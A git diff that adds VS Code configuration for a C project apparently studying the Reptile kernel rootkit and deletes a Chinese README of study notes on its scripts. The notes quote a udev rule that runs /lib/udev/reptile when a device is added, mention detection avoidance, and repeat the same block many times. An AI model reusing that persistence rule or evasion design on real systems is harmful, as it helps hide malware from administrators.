diff --git a/.vscode/c_cpp_properties.json b/.vscode/c_cpp_properties.json new file mode 100644 index 0000000..0ce415c --- /dev/null +++ b/.vscode/c_cpp_properties.json @@ -0,0 +1,18 @@ +{ + "configurations": [ + { + "name": "windows-gcc-x64", + "includePath": [ + "${workspaceFolder}/**" + ], + "compilerPath": "E:/DEV-C++/Dev-Cpp/MinGW64/bin/gcc.exe", + "cStandard": "${default}", + "cppStandard": "${default}", + "intelliSenseMode": "windows-gcc-x64", + "compilerArgs": [ + "" + ] + } + ], + "version": 4 +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..62e447b --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,24 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "C/C++ Runner: Debug Session", + "type": "cppdbg", + "request": "launch", + "args": [], + "stopAtEntry": false, + "externalConsole": true, + "cwd": "e:/专业课/reptile/src/Reptile/kernel", + "program": "e:/专业课/reptile/src/Reptile/kernel/build/Debug/outDebug", + "MIMode": "gdb", + "miDebuggerPath": "gdb", + "setupCommands": [ + { + "description": "Enable pretty-printing for gdb", + "text": "-enable-pretty-printing", + "ignoreFailures": true + } + ] + } + ] +} \ No newline at end of file diff --git a/.vscode/settings.json b/.vscode/settings.json index bb14cf9..1db22e4 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,3 +1,6 @@ { - "Codegeex.RepoIndex": true + "Codegeex.RepoIndex": true, + "files.associations": { + "dialog.h": "c" + } } \ No newline at end of file diff --git a/45c3058a738bf0f2646d09ca34b12a2.png b/45c3058a738bf0f2646d09ca34b12a2.png deleted file mode 100644 index deea775..0000000 Binary files a/45c3058a738bf0f2646d09ca34b12a2.png and /dev/null differ diff --git a/README.md b/README.md deleted file mode 100644 index be69d3b..0000000 --- a/README.md +++ /dev/null @@ -1,1365 +0,0 @@ -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 